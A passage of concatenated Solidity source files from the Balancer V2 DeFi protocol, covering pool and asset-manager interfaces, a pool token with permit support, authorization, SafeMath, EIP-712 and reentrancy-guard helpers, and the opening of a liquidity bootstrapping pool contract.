) external returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts);
/**
* @dev Called by the Vault when a user calls `IVault.exitPool` to remove liquidity from this Pool. Returns how many
* tokens the Vault should deduct from the Pool's balances, as well as the amount of protocol fees the Pool owes
* to the Vault. The Vault will then take tokens from the Pool's balances and send them to `recipient`,
* as well as collect the reported amount in protocol fees, which the Pool should calculate based on
* `protocolSwapFeePercentage`.
*
* Protocol fees are charged on exit events to guarantee that users exiting the Pool have paid their share.
*
* `sender` is the account performing the exit (typically the pool shareholder), and `recipient` is the account
* to which the Vault will send the proceeds. `balances` contains the total token balances for each token
* the Pool registered in the Vault, in the same order that `IVault.getPoolTokens` would return.
*
* `lastChangeBlock` is the last block in which *any* of the Pool's registered tokens last changed its total
* balance.
*
* `userData` contains any pool-specific instructions needed to perform the calculations, such as the type of
* exit (e.g., proportional given an amount of pool shares, single-asset, multi-asset, etc.)
*
* Contracts implementing this function should check that the caller is indeed the Vault before performing any
* state-changing operations, such as burning pool shares.
*/
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts);
function getPoolId() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IAssetManager {
/**
* @notice Emitted when asset manager is rebalanced
*/
event Rebalance(bytes32 poolId);
/**
* @notice Sets the config
*/
function setConfig(bytes32 poolId, bytes calldata config) external;
/**
* Note: No function to read the asset manager config is included in IAssetManager
* as the signature is expected to vary between asset manager implementations
*/
/**
* @notice Returns the asset manager's token
*/
function getToken() external view returns (IERC20);
/**
* @return the current assets under management of this asset manager
*/
function getAUM(bytes32 poolId) external view returns (uint256);
/**
* @return poolCash - The up-to-date cash balance of the pool
* @return poolManaged - The up-to-date managed balance of the pool
*/
function getPoolBalances(bytes32 poolId) external view returns (uint256 poolCash, uint256 poolManaged);
/**
* @return The difference in tokens between the target investment
* and the currently invested amount (i.e. the amount that can be invested)
*/
function maxInvestableBalance(bytes32 poolId) external view returns (int256);
/**
* @notice Updates the Vault on the value of the pool's investment returns
*/
function updateBalanceOfPool(bytes32 poolId) external;
/**
* @notice Determines whether the pool should rebalance given the provided balances
*/
function shouldRebalance(uint256 cash, uint256 managed) external view returns (bool);
/**
* @notice Rebalances funds between the pool and the asset manager to maintain target investment percentage.
* @param poolId - the poolId of the pool to be rebalanced
* @param force - a boolean representing whether a rebalance should be forced even when the pool is near balance
*/
function rebalance(bytes32 poolId, bool force) external;
/**
* @notice allows an authorized rebalancer to remove capital to facilitate large withdrawals
* @param poolId - the poolId of the pool to withdraw funds back to
* @param amount - the amount of tokens to withdraw back to the pool
*/
function capitalOut(bytes32 poolId, uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20Permit.sol";
/**
* @title Highly opinionated token implementation
* @author Balancer Labs
* @dev
* - Includes functions to increase and decrease allowance as a workaround
* for the well-known issue with `approve`:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* - Allows for 'infinite allowance', where an allowance of 0xff..ff is not
* decreased by calls to transferFrom
* - Lets a token holder use `transferFrom` to send their own tokens,
* without first setting allowance
* - Emits 'Approval' events whenever allowance is changed by `transferFrom`
*/
contract BalancerPoolToken is ERC20, ERC20Permit {
constructor(string memory tokenName, string memory tokenSymbol)
ERC20(tokenName, tokenSymbol)
ERC20Permit(tokenName)
{
// solhint-disable-previous-line no-empty-blocks
}
// Overrides
/**
* @dev Override to allow for 'infinite allowance' and let the token owner use `transferFrom` with no self-allowance
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 currentAllowance = allowance(sender, msg.sender);
_require(msg.sender == sender || currentAllowance >= amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE);
_transfer(sender, recipient, amount);
if (msg.sender != sender && currentAllowance != uint256(-1)) {
// Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount
_approve(sender, msg.sender, currentAllowance - amount);
}
return true;
}
/**
* @dev Override to allow decreasing allowance by more than the current amount (setting it to zero)
*/
function decreaseAllowance(address spender, uint256 amount) public override returns (bool) {
uint256 currentAllowance = allowance(msg.sender, spender);
if (amount >= currentAllowance) {
_approve(msg.sender, spender, 0);
} else {
// No risk of underflow due to if condition
_approve(msg.sender, spender, currentAllowance - amount);
}
return true;
}
// Internal functions
function _mintPoolTokens(address recipient, uint256 amount) internal {
_mint(recipient, amount);
}
function _burnPoolTokens(address sender, uint256 amount) internal {
_burn(sender, amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol";
import "./BasePool.sol";
/**
* @dev Base authorization layer implementation for Pools.
*
* The owner account can call some of the permissioned functions - access control of the rest is delegated to the
* Authorizer. Note that this owner is immutable: more sophisticated permission schemes, such as multiple ownership,
* granular roles, etc., could be built on top of this by making the owner a smart contract.
*
* Access control of all other permissioned functions is delegated to an Authorizer. It is also possible to delegate
* control of *all* permissioned functions to the Authorizer by setting the owner address to `_DELEGATE_OWNER`.
*/
abstract contract BasePoolAuthorization is Authentication {
address private immutable _owner;
address private constant _DELEGATE_OWNER = 0xBA1BA1ba1BA1bA1bA1Ba1BA1ba1BA1bA1ba1ba1B;
constructor(address owner) {
_owner = owner;
}
function getOwner() public view returns (address) {
return _owner;
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
if ((getOwner() != _DELEGATE_OWNER) && _isOwnerOnlyAction(actionId)) {
// Only the owner can perform "owner only" actions, unless the owner is delegated.
return msg.sender == getOwner();
} else {
// Non-owner actions are always processed via the Authorizer, as "owner only" ones are when delegated.
return _getAuthorizer().canPerform(actionId, account, address(this));
}
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual returns (bool);
function _getAuthorizer() internal view virtual returns (IAuthorizer);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the TemporarilyPausable helper.
*/
interface ITemporarilyPausable {
/**
* @dev Emitted every time the pause state changes by `_setPaused`.
*/
event PausedStateChanged(bool paused);
/**
* @dev Returns the current paused state.
*/
function getPausedState()
external
view
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, Errors.SUB_OVERFLOW);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, uint256 errorCode) internal pure returns (uint256) {
_require(b <= a, errorCode);
uint256 c = a - b;
return c;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev Interface for the SignatureValidator helper, used to support meta-transactions.
*/
interface ISignaturesValidator {
/**
* @dev Returns the EIP712 domain separator.
*/
function getDomainSeparator() external view returns (bytes32);
/**
* @dev Returns the next nonce used by an address to sign messages.
*/
function getNextNonce(address user) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
/**
* @dev Interface for WETH9.
* See https://github.com/gnosis/canonical-weth/blob/0dd1ea3e295eef916d0c6223ec63141137d22d67/contracts/WETH9.sol
*/
interface IWETH is IERC20 {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
/**
* @dev This is an empty interface used to represent either ERC20-conforming token contracts or ETH (using the zero
* address sentinel value). We're just relying on the fact that `interface` can be used to declare new address-like
* types.
*
* This concept is unrelated to a Pool's Asset Managers.
*/
interface IAsset {
// solhint-disable-previous-line no-empty-blocks
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthorizer {
/**
* @dev Returns true if `account` can perform the action described by `actionId` in the contract `where`.
*/
function canPerform(
bytes32 actionId,
address account,
address where
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// Inspired by Aave Protocol's IFlashLoanReceiver.
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IFlashLoanRecipient {
/**
* @dev When `flashLoan` is called on the Vault, it invokes the `receiveFlashLoan` hook on the recipient.
*
* At the time of the call, the Vault will have transferred `amounts` for `tokens` to the recipient. Before this
* call returns, the recipient must have transferred `amounts` plus `feeAmounts` for each token back to the
* Vault, or else the entire flash loan will revert.
*
* `userData` is the same value passed in the `IVault.flashLoan` call.
*/
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
import "./IAuthorizer.sol";
interface IProtocolFeesCollector {
event SwapFeePercentageChanged(uint256 newSwapFeePercentage);
event FlashLoanFeePercentageChanged(uint256 newFlashLoanFeePercentage);
function withdrawCollectedFees(
IERC20[] calldata tokens,
uint256[] calldata amounts,
address recipient
) external;
function setSwapFeePercentage(uint256 newSwapFeePercentage) external;
function setFlashLoanFeePercentage(uint256 newFlashLoanFeePercentage) external;
function getSwapFeePercentage() external view returns (uint256);
function getFlashLoanFeePercentage() external view returns (uint256);
function getCollectedFeeAmounts(IERC20[] memory tokens) external view returns (uint256[] memory feeAmounts);
function getAuthorizer() external view returns (IAuthorizer);
function vault() external view returns (IVault);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "./IVault.sol";
interface IPoolSwapStructs {
// This is not really an interface - it just defines common structs used by other interfaces: IGeneralPool and
// IMinimalSwapInfoPool.
//
// This data structure represents a request for a token swap, where `kind` indicates the swap type ('given in' or
// 'given out') which indicates whether or not the amount sent by the pool is known.
//
// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./ERC20.sol";
import "./IERC20Permit.sol";
import "./EIP712.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
mapping(address => uint256) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT);
uint256 nonce = _nonces[owner];
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, nonce, deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ecrecover(hash, v, r, s);
_require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE);
_nonces[owner] = nonce + 1;
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner];
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
_HASHED_NAME = keccak256(bytes(name));
_HASHED_VERSION = keccak256(bytes(version));
_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
return keccak256(abi.encode(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION, _getChainId(), address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
// Silence state mutability warning without generating bytecode.
// See https://github.com/ethereum/solidity/issues/10090#issuecomment-741789128 and
// https://github.com/ethereum/solidity/issues/2691
this;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./IAuthentication.sol";
/**
* @dev Building block for performing access control on external functions.
*
* This contract is used via the `authenticate` modifier (or the `_authenticateCaller` function), which can be applied
* to external functions to only make them callable by authorized accounts.
*
* Derived contracts must implement the `_canPerform` function, which holds the actual access control logic.
*/
abstract contract Authentication is IAuthentication {
bytes32 private immutable _actionIdDisambiguator;
/**
* @dev The main purpose of the `actionIdDisambiguator` is to prevent accidental function selector collisions in
* multi contract systems.
*
* There are two main uses for it:
* - if the contract is a singleton, any unique identifier can be used to make the associated action identifiers
* unique. The contract's own address is a good option.
* - if the contract belongs to a family that shares action identifiers for the same functions, an identifier
* shared by the entire family (and no other contract) should be used instead.
*/
constructor(bytes32 actionIdDisambiguator) {
_actionIdDisambiguator = actionIdDisambiguator;
}
/**
* @dev Reverts unless the caller is allowed to call this function. Should only be applied to external functions.
*/
modifier authenticate() {
_authenticateCaller();
_;
}
/**
* @dev Reverts unless the caller is allowed to call the entry point function.
*/
function _authenticateCaller() internal view {
bytes32 actionId = getActionId(msg.sig);
_require(_canPerform(actionId, msg.sender), Errors.SENDER_NOT_ALLOWED);
}
function getActionId(bytes4 selector) public view override returns (bytes32) {
// Each external function is dynamically assigned an action identifier as the hash of the disambiguator and the
// function selector. Disambiguation is necessary to avoid potential collisions in the function selectors of
// multiple contracts.
return keccak256(abi.encodePacked(_actionIdDisambiguator, selector));
}
function _canPerform(bytes32 actionId, address user) internal view virtual returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IAuthentication {
/**
* @dev Returns the action identifier associated with the external function described by `selector`.
*/
function getActionId(bytes4 selector) external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// Based on the ReentrancyGuard library from OpenZeppelin Contracts, altered to reduce bytecode size.
// Modifier code is inlined by the compiler, which causes its code to appear multiple times in the codebase. By using
// private functions, we achieve the same end result with slightly higher runtime gas costs, but reduced bytecode size.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_enterNonReentrant();
_;
_exitNonReentrant();
}
function _enterNonReentrant() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
_require(_status != _ENTERED, Errors.REENTRANCY);
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _exitNonReentrant() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ReentrancyGuard.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "../BaseWeightedPool.sol";
import "./WeightCompression.sol";
/**
* @dev Weighted Pool with mutable weights, designed to support V2 Liquidity Bootstrapping
*/
contract LiquidityBootstrappingPool is BaseWeightedPool, ReentrancyGuard {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
using FixedPoint for uint256;
using WordCodec for bytes32;
using WeightCompression for uint256;
// LBPs often involve only two tokens - we support up to four since we're able to pack the entire config in a single
// storage slot.
